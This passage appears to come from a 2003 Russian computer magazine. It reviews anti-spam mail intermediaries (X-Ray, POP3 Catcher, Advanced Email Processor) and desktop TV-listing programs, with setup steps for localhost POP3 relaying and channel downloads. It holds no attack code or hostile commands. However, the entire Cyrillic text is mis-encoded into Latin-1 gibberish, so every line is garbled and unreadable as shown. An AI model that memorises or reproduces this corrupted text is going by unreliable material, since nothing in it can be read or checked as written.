62.118.146.217 on SPAMCOP). Ïîñëå ýòîãî òû ìîæåøü<br />

íàñòðîèòü â ñîðòèðîâùèêå ñâîåãî ïî÷òîâèêà ñïåöèàëüíîå<br />

ïðàâèëî, êîòîðîå îòôóòáîëèò ñïàìåðñêèé áðåä â îòäåëüíóþ<br />

ïàïêó. Ìîæíî îáîéòèñü è áåç ïðàâèëà - óäàëÿòü<br />

âåñü õëàì ñðåäñòâàìè POP3 Catcher. Ïîìèìî RBL ïðîâåðêè<br />

POP3 Catcher ïîääåðæèâàåò ÷åðíûå è áåëûå ñïèñêè<br />

ïî÷òîâûõ àäðåñîâ è äàæå IP, ïðè÷åì óêàçàòü ìîæíî<br />

êàê îäèíî÷íûé àäðåñ, òàê è öåëûé äèàïàçîí. Åñëè è ýòîãî<br />

ïîêàæåòñÿ ìàëî, ê òâîèì óñëóãàì Selective Download<br />

Filters - ôèëüòðû âûáîðî÷íîãî ñêà÷èâàíèÿ. Ñâîåîáðàçíûé<br />

ïðèâåò îò ïðîãðàììû The Bat! - ñîâìåùåíû ñèãíàëüíûå<br />

ñòðî÷êè äëÿ îïðåäåëåíèÿ íåæåëàòåëüíîé êîððåñïîíäåíöèè,<br />

ðåãóëÿðíûå âûðàæåíèÿ, îãðàíè÷åíèå íà<br />

ðàçìåð ïèñüìà è âðåìÿ ñðàáàòûâàíèÿ êàæäîãî ôèëüòðà.<br />

È äàæå ýòî åùå íå âñå. Âêóñíåéøèé áîíóñ - ïîääåðæêà<br />

ïëàãèíîâ äëÿ ñàìîñòîÿòåëüíîé îáðàáîòêè âñåõ ïèñåì.<br />

Çàìåòü - ïëàãèíó ïîçâîëåíî íå òîëüêî ïîìå÷àòü ïèñüìî<br />

êàê ñïàì, íî è êðîìñàòü åãî ïî ñâîåìó óñìîòðåíèþ, äîáàâëÿòü/óäàëÿòü<br />

çàãîëîâêè, âûðåçàòü ðåêëàìó, ïîëíîñòüþ<br />

ïåðåäåëûâàòü âåñü òåêñò. Øèçîèäíûé êîìáàéí, à<br />

íå ïðîãðàììà.<br />

POP3 Catcher - íàñòðîéêà ïî÷òîâîãî ÿùèêà<br />

Îäèí ìàëåíüêèé ìèíóñ - åñëè X-Ray ñïîñîáåí îáðàáàòûâàòü<br />

ïî÷òó íåçàìåòíî äëÿ ïîëüçîâàòåëÿ (ïåðåäàåò åå<br />

ìåéëåðó íàïðÿìóþ), òî POP3 Catcher òðåáóåò ñîçäàíèÿ<br />

îòäåëüíîé ñòðóêòóðû ÿùèêîâ è õðàíèò ïèñüìà â ñîáñòâåííîé<br />

áàçå. Ñ äðóãîé ñòîðîíû, ýòî íå ïîìåõà - äîñòàòî÷íî<br />

çàïðîñèòü ïåðèîäè÷åñêóþ ïðîâåðêó ïëþñ âûçîâ<br />

âíåøíåé ïî÷òîâîé ïðîãðàììû. Èòàê, ñîçäàåì â POP3<br />

Catcher íîâûé ÿùèê (Account - New) è ïîåõàëè íàñòðàèâàòü.<br />

Êàê è â ñëó÷àå ñ X-Ray, íàìè ðóêîâîäèò âñòðîåííûé<br />

âèçàðä. Óêàçûâàåì êàòàëîã äëÿ õðàíåíèÿ ïðèíÿòûõ<br />

ïèñåì è äàííûå ïî÷òîâîãî ñåðâåðà, îôîðìëÿåì ïåðèî-<br />

äè÷åñêóþ ïðîâåðêó è çàïóñê ëþáèìîãî ìåéëåðà. Åñëè<br />

îòìåòèòü îïöèþ "Get on mailer connection", POP3<br />

Catcher íà÷íåò ïðèåì ïî÷òû ñðàçó ïîñëå òîãî, êàê ê íåìó<br />

îáðàòèòñÿ âíåøíèé ïî÷òîâèê. Â íàñòðîéêàõ ïî÷òîâîé<br />

ïðîãðàììû íóæíî çàìåíèòü àäðåñ POP3-ñåðâåðà íà<br />

localhost, à ëîãèí óêàçàòü â âèäå íàñòîÿùèé_ëîãèí@àäðåñ_pop3_ñåðâåðà.<br />

Ê ïðèìåðó, äëÿ ìîèõ apslash@tfs.kiev.ua<br />

è pop3.lucky.net ëîãèí âûãëÿäèò òàê -<br />

ap-slash@pop3.lucky.net.<br />

Áåñïëàòíî ðàñïðîñòðàíÿåòñÿ ëèøü Lite-âåðñèÿ POP3<br />

Catcher, â êîòîðîé îòñóòñòâóåò íåñêîëüêî î÷åíü èíòåðåñíûõ<br />

âîçìîæíîñòåé, íî "äëÿ äîìà, äëÿ ñåìüè" è ýòîãî<br />

âàðèàíòà âïîëíå õâàòèò.<br />

<br />

Advanced Email Processor - äîìàøíÿÿ ñòðàíèöà<br />

Ñîçäàòåëè ñàéòà www.massmail.ru - ðåáÿòà âåñüìà è<br />

âåñüìà ïëîäîâèòûå. Äóìàþ, êàæäûé òðåòèé õîòÿ áû<br />

ñëûøàë î òàêèõ ïðîåêòàõ, êàê Advanced Maillist Verify,<br />

Advanced Direct Remailer, Advanced Email Locator è èæå<br />

ñ íèìè. Åñëè â ïðåäûäóùèõ óòèëèòàõ ìîæíî áûëî ñ<br />

ëåãêîñòüþ îïðåäåëèòü öåëü èõ ñîçäàíèÿ, òî Advanced<br />

Email Processor çàñòàâëÿåò ñåðüåçíî çàäóìàòüñÿ. Âîçìîæíîñòåé<br />

ó íåãî - âàãîí è ìàëåíüêàÿ äðåçèíà. Òå ñàìûå<br />

ïðèêóðèâàòåëè, òîò ñàìûé òðàêòîð. Âïðî÷åì, àâòîðû<br />

âñå æå ñïîäîáèëèñü ñîñòàâèòü ïðèìåðíûé ïåðå÷åíü<br />

çàäà÷ - îáðàáîòêà ñïèñêîâ ðàññûëîê, ôîðì çàêàçîâ è<br />

àíêåò, ðåçåðâíîå êîïèðîâàíèå. Íî ïîâåðü, ýòî ëèøü<br />

íàäâîäíàÿ ÷àñòü àéñáåðãà. Ñìîòðèì...<br />

Advanced Email Processor - ïàñïîðòíûå äàííûå<br />

Ìåíÿ â ñâîå âðåìÿ áåçóìíî óäèâèë òîò ôàêò, ÷òî ðàçðàáîò÷èêè<br />

íå âûáðàëè â êà÷åñòâå ðåêëàìíîãî ñëîãàíà<br />

äëÿ ñâîåé ïðîãè äåòñêóþ ôðàçó "Êóïè ñëîíà!". Êàçàëîñü<br />

áû, ðàçìåð äèñòðèáóòèâà - 4 ìåòðà. Ïîä îïèñàíèå ïîäõîäèò,<br />

Ãåéòñ åùå íå çàþçàë (à âåäü ìîã áû). Õîòÿ, ýòî<br />

èõ ëè÷íîå äåëî. ß çíàþ îäíî - ýòîò ðàçìåð ñåáÿ îïðàâäûâàåò.<br />

Êîëëåãè åìó îäíî ñëîâî, îí èì - äâàäöàòü. Òå<br />

ïðîâåðÿþò òîëüêî POP3, à ýòîò ïîíèìàåò IMAP, þíèêñîâûé<br />

ÿùèê ñ ïèñüìàìè, ôàéëû MSG/EML, ïàïêè<br />

Outlook Express è Eudora, MAPI. Êîíêóðåíòû ïèøóò â<br />

òåêñòîâûé ôàéë, à îí áåç òðóäà âðàùàåò áàçàìè äàííûõ<br />

è çàïîëíÿåò òàáëèöû Excel. Îíè îáðàáàòûâàþò ñ<br />

ïîìîùüþ âíåøíèõ ïðîãðàìì è ïëàãèíîâ, à îí ïëþñóåò<br />

ïîääåðæêó JScript, VBScript, Perl, Python è Ruby. Íèêòî<br />

íå çàáûò, íè÷òî íå çàáûòî. Ñòàðûå äîáðûå ïðèáàìáàñû<br />

ñëóæàò è ïîíûíå - Advanced Maillist Verify, Advanced<br />

Direct Remailer è Advanced Email Locator ñâîáîäíî èíòå-<br />

ãðèðóþòñÿ â AEP è ðàáîòàþò âåñåëûì øàðîâàðíûì êàðàâàíîì.<br />

Âíèìàòåëüíî ÷èòàé õèíòû ê ýëåìåíòàì êîíñòðóêòîðà<br />

è æèâè â ñâîå óäîâîëüñòâèå. Ýòî ïðîãðàììà<br />

äîëæíà ðàáîòàòü, à ÷åëîâåêó íóæíî ìíîãî ñâîáîäíîãî<br />

âðåìåíè, ÷òîáû âñÿêèìè ãëóïîñòÿìè çàíèìàòüñÿ.<br />

Advanced Email Processor - íàñòðîéêà<br />

 îñíîâíîì ðàçëè÷íîãî ðîäà íåïîíÿòêè âîçíèêàþò<br />

ëèøü ïðè ðàáîòå ñ ñàìèì êîíñòðóêòîðîì, à ïàðàìåòðû<br />

êàæäîãî ÿùèêà óïðîùåíû äî ïðåäåëà. Ïåðâî-íàïåðâî<br />

ñîçäàé â ýòîé ïðîãå íîâóþ ó÷åòíóþ çàïèñü. Êàê ÿ óæå<br />

ãîâîðèë, AEP ñîâñåì íå îáÿçàòåëüíî ðàáîòàòü ñî ñòàíäàðòíûì<br />

ïî÷òîâûì ñåðâåðîì. Ýòî ìîæåò áûòü â÷åðàøíèé<br />

ýêñïîðò èç The Bat! â ôîðìàòå þíèêñîâîãî ÿùèêà<br />

èëè ïðîèçâîëüíàÿ ïàïêà íà äèñêå ñ ïèñüìàìè â ôîðìàòå<br />

RFC822. Ïî÷òîâîé ïðîãðàììå, äëÿ êîòîðîé AEP èãðàåò<br />

ðîëü ïîñðåäíèêà, ýòî áóäåò ãëóáîêî ïàðàëëåëüíî.<br />

Ïðîöåäóðà íàñòðîéêè òâîåãî ìåéëåðà íåìíîãî îòëè÷àåòñÿ<br />

îò àíàëîãè÷íûõ ïàðàìåòðîâ, èñïîëüçóåìûõ äâóìÿ<br />

ïðåäûäóùèìè ïðèáëóäàìè. Âìåñòî àäðåñà ïî÷òîâîãî<br />

ñåðâåðà ñòàâèì localhost, à ëîãèí óêàçûâàåì â çàâèñèìîñòè<br />

îò òèïà ïî÷òîâîãî ÿùèêà, êîòîðûé òû èñïîëüçóåøü.<br />

Íàïðèìåð, åñëè ýòî îáû÷íûé POP3-ñåðâåð, ñòàâèì<br />

íàñòîÿùèé_ëîãèí/àäðåñ_ñåðâåðà (äëÿ ìîèõ äàííûõ<br />

- ap-slash/pop3.lucky.net), åñëè ýòî ïàïêà èëè þíèêñîâûé<br />

ÿùèê, ëîãèí ìîæíî ñòàâèòü ëþáîé, ëèøü áû îí<br />

ñîâïàäàë ñ íàñòðîéêàìè ñàìîãî ÿùèêà. Ñìîòðè ïî ñèòóàöèè.<br />

 ñëó÷àå ÷åãî, çàãëÿäûâàé íà çàêëàäêó "Æóðíàë"<br />

- ïðîãðàììà âåäåò ïîäðîáíûé ïðîòîêîë ðàáîòû.<br />

Òðè ïî÷òîâûõ ïîñðåäíèêà. Ëè÷íî ìíå ñëîæíî<br />

ñäåëàòü ìåæäó íèìè îäíîçíà÷íûé âûáîð.<br />

Äà è íóæíî ëè? Îñíîâíàÿ ïðåëåñòü ïðîãðàìì<br />

ïîäîáíîãî ðîäà â òîì, ÷òî èõ ìîæíî<br />

âûñòðîèòü â öåïî÷êó è ïîäêëþ÷èòü ïîñëåäîâàòåëüíî,<br />

óêàçûâàÿ â êà÷åñòâå POP3/SMTPñåðâåðà<br />

äëÿ ïåðâîé ïðîãðàììû localhost +<br />

íîìåð ïîðòà åå êîíêóðåíòà. Ñàìî ñîáîé,<br />

ýòîò ñàìûé íîìåð íåîáõîäèìî èçìåíèòü â<br />

íàñòðîéêàõ ó êàæäîãî çâåíà ýòîé öåïî÷êè.<br />

Ðåçþìèðóþ - åñëè òû ýêîíîìèøü ïàìÿòü è<br />

ìåñòî íà äèñêå - ñòàâü X-Ray. Â áëàãîäàðíîñòü<br />

çà äîâåðèå îí âû÷èñòèò òâîè ïî÷òîâûå<br />

áàçû îò ãðóäû õëàìà, è ëþáèìûé ìåéëåð<br />

ñòàíåò ïðîâîðíåå ïðîöåíòîâ íà 30.<br />

Åñëè ñïàì âàëèò ñåëåâûìè ïîòîêàìè, òî<br />

ëó÷øå, ÷åì POP3 Catcher íàéòè áóäåò ñëîæíî.<br />

Êàê ðåçóëüòàò – íèêàêîé ðåêëàìû êèòàéñêèõ<br />

ìàçåé è ïðåäëîæåíèé êâàðòèðû â Ìèòèíî.<br />

Ó ìåíÿ çà äâà ìåñÿöà ëèøü îäíî ïèñüìî<br />

íå ïðîøëî ïðîâåðêó. Ýòî áûë ñîñåä,<br />

ñâàòàâøèé ñâîåãî ëîõìàòîãî êîòà ìîåé êîøêå<br />

ïî ñëó÷àþ íà÷àëà âåñíû. Íà÷èíàþùèé<br />

ñïàìåð, ïîêà åùå íå ñòîèò íà ó÷åòå.<br />

Íó à äëÿ íàñòîÿùèõ ìàíüÿêîâ ïóòåâîäíîé<br />

çâåçäîé áåç âîïðîñîâ ñòàíåò AEP. Êðîìå òîãî,<br />

åãî ðåàëèçàöèÿ ActiveScripting - åäèíñòâåííûé<br />

ñïîñîá äëÿ ñêðèïòîâèêîâ ñîçäàâàòü<br />

ïîëíîöåííûå ïëàãèíû. Âûáèðàé.<br />

Ñêàæè "Íàéí!" åæåäíåâíîé ðóòèíå.<br />

È áåç íåå âðåìåíè â îáðåç.<br />

36 Íüþñû 1 Ôåððóì 2 Inside 3 PC_Zone 4 Âçëîì


PC_Zone<br />

ÑÌÎÒÐÈ - ÍÅ ÏÐÎÑÌÎÒÐÈ<br />

Äåíèñ<br />

ÑÀÌ ÑÅÁÅ<br />

Ñàìàðèí<br />

ÈÌÈÒÀÒÎÐ<br />

(densam@yandex.ru,<br />

www.olviko.ru/densam)<br />

 äàâíî ïî÷èâøåì Ñîâåòñêîì Ñîþçå áûëî ìíîãî<br />

ñàìûõ ðàçíîîáðàçíûõ ïðîáëåì, íî ñðåäè íèõ íå<br />

áûëî îäíîé, ñ êîòîðîé è ÿ, è òû ñòàëêèâàåìñÿ<br />

êàæäûé äåíü. Ýòî - ïðîáëåìà âûáîðà. Ðàíüøå,<br />

åñëè òåáå çâîíèë äðóã è êðè÷àë â òðóáêó "âðóáàé<br />

òåëåê, òàì òàêîé ôèëüì èäåò!", òî âîâñå íå îáÿçàòåëüíî<br />

áûëî âûÿñíÿòü, ïî êàêîìó êàíàëó èäåò<br />

ýòîò ñàìûé ôèëüì, òàê êàê êàíàëîâ áûëî âñåãî<br />

íåñêîëüêî. À ñåé÷àñ ÷òî òâîðèòñÿ? Ïÿòü, äåñÿòü,<br />

ïÿòíàäöàòü êàíàëîâ! È ÷óòü ëè íå êàæäûé - êðóãëîñóòî÷íûé.<br />

Ïðîãðàììû ïåðåäà÷ ïðåâðàòèëèñü<br />

â íàñòîÿùèå ôîëèàíòû, ëàçèòü ïî êîòîðûì, âûáèðàÿ<br />

èíòåðåñíóþ ïåðåäà÷ó - äåëî, òðåáóþùåå<br />

íåìàëûõ óñèëèé. ×òî æå äåëàòü? Ëó÷øèé âàðèàíò<br />

- íå ñìîòðåòü òåëåâèçîð âîîáùå. Êàê ãîâîðèë<br />

òîâàðèù Ñòàëèí: "Íåò ÷åëîâåêà - íåò ïðîáëåìû".<br />

Åñëè æå îòêàçûâàòüñÿ îò "ÿùèêà" òû íå<br />

æåëàåøü, òî ñîðèåíòèðîâàòüñÿ â ìîðå òåëåâèçèîííîé<br />

èíôîðìàöèè òåáå ïîìîãóò îïèñàííûå íèæå<br />

ïðîãè - ýëåêòðîííûå ÒÂ ïðîãðàììû.<br />

Ýëåêòðîííûå òåëåïðîãðàììêè óæå äàâíûì-äàâíî íå íîâîñòü.<br />

Èõ ëåãêî ìîæíî íàéòè â èíòåðíåòå, ñêàæåì, íà<br />

ßndex'å èëè Rambler'å. Íî, ñîãëàñèñü, ÷òî, âî-ïåðâûõ, åñëè<br />

ó òåáÿ íå âûäåëåíêà, òî ëåçòü êàæäûé ðàç â Ñåòü ëèøü<br />

äëÿ òîãî, ÷òîáû óòî÷íèòü, âî ñêîëüêî íà÷èíàåòñÿ òîò èëè<br />

èíîé ôèëüì, íåñêîëüêî íåóäîáíî, à âî-âòîðûõ, êàê áû íè<br />

ñîâåðøåíñòâîâàëñÿ âåá-èíòåðôåéñ, äî óäîáñòâà îáû÷íûõ<br />

"íàñòîëüíûõ" ïðèëîæåíèé åìó åùå êàê äî ëóíû.<br />

Êñòàòè, íàäî çàìåòèòü, ÷òî âîïðåêè îæèäàíèþ, ýëåêòðîííûõ<br />

ÒÂ ïðîãðàìì íå òàê óæ è ìíîãî. Ïî êðàéíåé<br />

ìåðå, ÿ íàøåë òîëüêî ÷åòûðå: ListTV, TVGuide, "Ò ïðîãðàììà"<br />

è TVAgent. ×òî æ, äàâàé-êà ïîïðîáóåì ðàçîáðàòü<br />

èõ ïî êîñòî÷êàì.<br />

<br />

Äëÿ ðàáîòû ñ ïðîãðàììîé òåëåïåðåäà÷ òðåáóåòñÿ åå<br />

ãäå-òî çàïîëó÷èòü. À êàê çàïîëó÷èòü? Î÷åíü ïðîñòî. Áåðåøü<br />

ãàçåòó, ñêàíåð, FineReader… Øó÷ó, øó÷ó… Ðàçóìååòñÿ,<br />

òåëåïðîãðàììó íóæíî êà÷àòü èç Ñåòè. Ïîñìîòðèì,<br />

êàê ñ ýòèì çàäàíèåì ñïðàâëÿåòñÿ êàæäàÿ èç íàøèõ<br />

ïîäîïå÷íûõ.<br />

TVAgent - ïîëó÷åíèå ïðîãðàììû<br />

Ïðîùå âñåãî ìåõàíèçì ñêà÷èâàíèÿ "ñâåæà÷êà" ðåàëèçîâàí<br />

â "Ò Àãåíòå". Âèäèøü â âåðõíåé ÷àñòè ýêðàíà íåáîëüøîå<br />

ìåíþ? Ïåðåõîäè â ïóíêò "ïîëó÷åíèå òåëåïðîãðàìì"<br />

è äàâè íà êíîïêó "Ïðîâåðèòü íàëè÷èå íîâîé ïðîãðàììêè".<br />

"ÒÂ Àãåíò" ïîïûòàåòñÿ ñîåäèíèòüñÿ ñ ñåðâåðîì<br />

è ïðîâåðèòü îáíîâëåíèå. Åñëè åìó ýòî íå óäàåòñÿ, è<br />

ïðîãðàììà âûäàåò êàêóþ-íèáóäü îøèáêó, òî îòïðàâëÿéñÿ<br />

â ìåíþ "Íàñòðîéêè" è ïðîâåðü ïàðàìåòðû ñîåäèíåíèÿ ñ<br />

èíòåðíåòîì. Ïîñëå ñîåäèíåíèÿ ñ ñåðâåðîì ïðîãà îòîáðàçèò<br />

ñïèñîê äîñòóïíûõ òåëåâèçèîííûõ êàíàëîâ. Îòìåòü<br />

ãàëî÷êàìè òå èõ íèõ, êîòîðûå òåáå èíòåðåñíû è íàæìè<br />

íà "Ïîëó÷èòü îòìå÷åííûå òåëåïðîãðàììû".<br />

TVGuide - çàãðóçêà äàííûõ<br />

Íåìíîãî áîëåå ñëîæíûé ïóòü ïðèäåòñÿ ïðîéòè â<br />

TVGuide. Åùå ïðè èíñòàëëÿöèè ïðîãðàììà ñïðîñèò òåáÿ,<br />

êàêèå èç èìåþùèõñÿ â íàëè÷èè ïàêåòîâ óñòàíàâëèâàòü:<br />

ÕÀÊÅÐ\¹52\Àïðåëü\2003<br />

ÑÌÎÒÐÈ - ÍÅ ÏÐÎÑÌÎÒÐÈ<br />

ÒÅËÅÏÐÎÃÐÀÌÌÛ ÍÀ ÒÂÎÅÌ ÊÎÌÏÜÞÒÅÐÅ<br />

Ïîëåçíûå ññûëêè<br />

www.citycat.ru/tv/TVinNet/tvu_ros0.html - ñïèñîê<br />

èç 170 ñåðâåðîâ ñ ðîññèéñêèìè òåëåïðîãðàììàìè<br />

www.citycat.ru/tv/TVinNet/tvu_ltv0.html - ñàéòû,<br />

ïîääåðæèâàþùèå ôîðìàò ïðîãðàììû ListTV<br />

www.vsetv.com - "âñå î ÒÂ"<br />

www.sat-digest.com - Åùå îäèí ñáîðíèê ïðîãðàìì<br />

ïåðåäà÷ ðóññêîÿçû÷íûõ êàíàëîâ<br />

Ìîñêâà, Ïåòåðáóðã, Åêàòåðèíáóðã, Ïåðìü, Ñàðàòîâ. Åñëè<br />

òâîåãî ãîðîäà â ýòîì ñïèñêå íåò, òî ñëåäóåò ïðîâåðèòü,<br />

íå ïîÿâèëñÿ ëè îí íà ñåðâåðå. Óçíàòü ýòî ïîìîãàåò êíîïî÷êà<br />

"Îáíîâëåíèÿ ïðîãðàììû" èç ìåíþ "Ïîìîùü". Òåïåðü<br />

íåîáõîäèìî óêàçàòü ïðîãå, ñ êàêèì èìåííî ïàêåòîì<br />

òû áóäåøü ðàáîòàòü. Ñäåëàòü ýòî ìîæíî â ìåíþ "Ôàéë"<br />

-> "Íàñòðîéêè ïðîãðàìì" -> "Îáùèå" -> "Ïàêåò äàííûõ".<br />

 ýòîì æå îêíå, ÷óòü íèæå, â âûïàäàþùåì ñïèñêå<br />

"Ñåðâåð îáíîâëåíèÿ" âûáåðè URL, ñ êîòîðîãî TVGuide<br />

áóäåò âûêà÷èâàòü ñâåæèå äàííûå. Îñòàëñÿ ïîñëåäíèé<br />

øàã. Ïåðåõîäè â "Ôàéë" -> "Çàãðóçèòü äàííûå", óñòàíîâè<br />

ãàëî÷êó "Ðàñïîëîæåíèå äàííûõ" íà Internet, îòìåòü òå<br />

äíè íåäåëè, ïðîãðàììêà íà êîòîðûå òåáå òðåáóåòñÿ, à â<br />

ïîëå "Èñïîëüçîâàòü êîíâåðòåð" âûáåðè ëþáîå èç ïðèñóòñòâóþùèõ<br />

â ñïèñêå íàçâàíèé (ñêîðåå âñåãî òàì áóäåò<br />

òîëüêî îäíî). È âñå. Àõ íåò, íóæíî åùå íàæàòü íà "Çàãðóçèòü<br />

äàííûå". Òåïåðü òî÷íî âñå.<br />

TVGuide - íàñòðîéêè<br />

ListTV ñàìà çàãðóæàòü ÒÂ ïðîãðàììó íåïîñðåäñòâåííî<br />

èç èíåòà íå óìååò. Òåáå ïðèäåòñÿ ýòî äåëàòü âðó÷íóþ.<br />

Ïî àäðåñó http://www.citycat.ru/tv/TVinNet/tvu_ltv0.html<br />

èëè â õåëïå â ðàçäåëå "Çàãðóçêà äàííûõ" òû íàéäåøü<br />

äîâîëüíî ïðèëè÷íûé ñïèñîê ñàéòîâ ñî ñâåæèìè ðàñïè-<br />

38 Íüþñû 1 Ôåððóì 2 Inside 3 PC_Zone 4 Âçëîì


ñàíèÿìè òåëåïåðåäà÷. Âûáèðàé òîò, êîòîðûé òåáå áëèæå,<br />

è ñêà÷èâàé ôàéë ñåáå íà êîìïüþòåð, à çàòåì â<br />

"Ôàéë" -> "Çàãðóçèòü" óêàæè ïðîãðàììå åãî ìåñòîðàñïîëîæåíèå.<br />

ListTV ïîíèìàåò äàííûå â ïðîñòîì òåêñòîâîì<br />

ôîðìàòå (.txt), â HTML èëè â .eml. Â ïîñëåäíåì<br />

ñëó÷àå åñòü îäíà òîíêîñòü: åñëè äàííûå õðàíÿòñÿ â<br />

MIME (îòêðîé ôàéë â ëþáîì òåêñòîâîì ðåäàêòîðå è ïîñìîòðè,<br />

åñëè åñòü ñòðî÷êà "Content-Transfer-Encoding:<br />

base64", çíà÷èò - MIME), òî óñòàíîâè ãàëî÷êó "base64".<br />

 "Ò ïðîãðàììå" äëÿ òîãî ÷òîáû çàãðóçèòü ñâåæóþ<br />

ïðîãðàììêó, âîîáùå äåëàòü íè÷åãî íå íàäî, òàê êàê<br />

ïðè î÷åðåäíîì çàïóñêå ýòà ñîôòèíà ñàìà ïðîâåðÿåò<br />

íàëè÷èå îáíîâëåíèÿ è ïðè îáíàðóæåíèè îíîãî, ïðåäëàãàåò<br />

ñäåëàòü àïäåéò.  îòëè÷èå îò, íàïðèìåð,<br />

TVGuide’à, ñåðâåð îáíîâëåíèÿ â TVProg'å âûáèðàòü<br />

íåëüçÿ, åãî àäðåñ çàøèò â íåå íàìåðòâî. Íî ýòî íå<br />

äîëæíî òåáÿ áåñïîêîèòü, òàê êàê ñïèñîê äîñòóïíûõ êàíàëîâ<br />

äîñòàòî÷íî âåëèê (íà ìîìåíò íàïèñàíèÿ ñòàòüè -<br />

85), è âñå âðåìÿ ïîïîëíÿåòñÿ.<br />

<br />

TVAgent - ïðîñìîòð ïðîãðàììû ïåðåäà÷<br />

Íà÷íåì, êàê è â ïðîøëîì ðàçäåëå, ñ "Ò Àãåíòà". Åñëè<br />

ïðèìåíÿòü ñèãàðåòíóþ êëàññèôèêàöèþ, òî â îáëàñòè<br />

ðàáîòû ñ äàííûìè "ÒÂ Àãåíòà" ñëåäóåò îòíåñòè ê êàòåãîðèè<br />

Light. Ïîëüçîâàòüñÿ "ÒÂ Àãåíòîì" ñìîæåò äàæå<br />

ñàìûé íåèñêóøåííûé ïîëüçîâàòåëü (aka ñàìûé áóðíîêèïÿùèé<br />

÷àéíèê), òàê êàê â ïðîãðàììå íåò íè÷åãî<br />

ñëîæíîãî, íèêàêèõ "íàâîðîòîâ", äîñòóïíû ëèøü ñàìûå<br />

ïðîñòûå ôóíêöèè: ïðîñìîòð òåëåïðîãðàììû çà îäèí<br />

äåíü ñ ðàçáèâêîé ïî êàíàëàì è ôèëüòðàöèÿ ïðèãëÿíóâøèõñÿ<br />

ïåðåäà÷. À ÷òî åùå íàäî?<br />

Èäåì äàëüøå - TVGuide. Êðîìå ðàçäåëåíèÿ òåëåïðîãðàììû<br />

ïî êàíàëàì è äíÿì íåäåëè, TV Guide ïðåäëàãàåò<br />

è ìàññó äîïîëíèòåëüíûõ ôóíêöèé. Ãëàâíàÿ ôåíå÷êà -<br />

ýòî ðàçäåëåíèå âñåõ ïåðåäà÷ ïî òèïó. Âñåãî ñóùåñòâóåò<br />

òðèíàäöàòü ðàçíûõ òèïîâ: "êèíî", "ñåðèàë", "íîâîñòè",<br />

"þìîð", "øîó", "èãðà", "ñïîðò", "ìóçûêà", "äåòÿì",<br />

"äîê.ôèëüìû", "ïóòåøåñòâèÿ", "ïåðñîíà", "êóëüòóðà".<br />

Òàêèì îáðàçîì, íàæàòèåì îäíîé êíîïêè òû îòôèëüòðîâûâàåøü<br />

òîëüêî òå ïåðåäà÷è, êîòîðûå òåáå èíòåðåñíû.<br />

Âäîáàâîê ïðîãðàììû ìîæíî îòìå÷àòü ãàëî÷êàìè:<br />

"Ñòîèò ïîñìîòðåòü", "Õîðîøèå", ëèáî "Ñàìûå<br />

ëþáèìûå". Êñòàòè ñêàçàòü, åñëè ñïèñîê òèïîâ òåáÿ íå<br />

óñòðàèâàåò, òû èìååøü âñå âîçìîæíîñòè îòðåäàêòèðîâàòü<br />

åãî, êàê çàáëàãîðàññóäèòñÿ (ìåíþ "Íàñòðîéêà" -><br />

"Êëàññèôèêàöèÿ òåëåïåðåäà÷").<br />

Åñëè òû áîèøüñÿ ïðîïóñòèòü ñâîé ëþáèìûé òóðíèð ïî<br />

øàõìàòàì èëè áîèøüñÿ çàáûòü î êàêîì-íèáóäü ôèëüìå,<br />

òî äîáàâü åãî â ñïèñîê íàïîìèíàíèé (ïðàâàÿ êíîïêà<br />

ìûøè íà íàçâàíèè ïåðåäà÷è), è TVGuide â íóæíîå âðåìÿ<br />

áóäåò îðàòü èñòîøíûì ãîëîñîì (åñëè òû, êîíå÷íî,<br />

óêàæåøü åé ñîîòâåòñòâóþùèé wav-ôàéë) èëè çàïóñòèò<br />

êàêóþ-íèòü âíåøíþþ ïðîãó, íàïðèìåð, îòñûëàþùóþ íà<br />

òâîé ìîáèëüíèê ñîîáùåíèå: "Ãäå òû øëÿåøüñÿ? ×åðåç<br />

ïÿòü ìèíóò ôóòáîë!".<br />

Íå ìåíåå ïðîäâèíóòà â âîïðîñå äåìîíñòðàöèè ïðîãðàììû<br />

ïåðåäà÷ è ListTV. Ñàìî ñîáîé, îíà òîæå óìååò ðàñïðåäåëÿòü<br />

ïåðåäà÷è ïî òèïàì, âûïîëíÿòü ñîðòèðîâêó ïî<br />

äíÿì íåäåëè è êàíàëàì è ôèëüòðîâàòü ïî "ëþáèìîñòè".<br />

Íî íà ÷òî õî÷åòñÿ îáðàòèòü îñîáîå âíèìàíèå, òàê ýòî íà<br />

àíîíñû ïåðåäà÷. Òî åñòü íåêîòîðûå ïðîãðàììû, îáû÷íî<br />

êàêèå-íèáóäü ôèëüìû, ïîìèìî íàçâàíèÿ ñíàáæåíû íåáîëüøèì<br />

îïèñàíèåì. Åñëè àíîíñ èìååòñÿ, òî îêîëî íàçâàíèÿ<br />

ïåðåäà÷è ïîÿâëÿåòñÿ ñèðåíåâûé çíà÷îê, íàæàâ<br />

íà êîòîðûé ìîæíî ïðî÷èòàòü íå÷òî òèïà: "Óíåñåííûå<br />

âåòðîì - î÷åðåäíàÿ ïåðåäà÷à î âëèÿíèè âîçäóøíûõ ïîòîêîâ<br />

íà òðàåêòîðèþ ïîëåòà ïàðàøþòèñòîâ".<br />

ÒÂ Ïðîãðàììà - âíåøíèé âèä<br />

Ïî ôóíêöèîíàëüíîñòè è èíòåðôåéñó "ÒÂ ïðîãðàììà"<br />

î÷åíü ïîõîæà íà ListTV è íà TVGuide. Òî æå ðàçäåëåíèå<br />

ïåðåäà÷ ïî òèïàì, òî æå ðàçäåëåíèå íà "ëþáèìûå" è<br />

"î÷åíü ëþáèìûå", ïîõîæèé ìåõàíèçì ïîèñêà è ôèëüòðàöèè.<br />

Àíîíñîâ ïåðåäà÷, ê ñîæàëåíèþ, ïðîãðàììà íå<br />

ïîääåðæèâàåò (èëè ÿ èõ ïðîñòî íå íàøåë?). Ðàçóìååòñÿ,<br />

åñòü è ïðèÿòíûå îòëè÷èÿ. Îäíî èç íèõ - àâòîìàòè-<br />

÷åñêîå îïîâåùåíèå. Äîïóñòèì, òû íå õî÷åøü ïðîïóñòèòü<br />

íè îäíîãî ýïèçîäà ñåðèàëà "Áåäíûå õîõî÷óò â ïîëäåíü".<br />

Îê, çàõîäèøü â ìåíþ "Îïîâåùåíèÿ" -> "Àâòîìàòè÷åñêîå<br />

îïîâåùåíèå" è ñîçäàåøü íîâîå çàäàíèå, â êîòîðîì<br />

ïðîñèøü ïðîãó îðàòü êàæäûé ðàç, êîãäà â íàçâàíèè<br />

ïåðåäà÷è âñòðåòèòñÿ ñëîâî "õîõî÷óò".<br />

List TV - ïðîñìîòð ïåðåäà÷è<br />

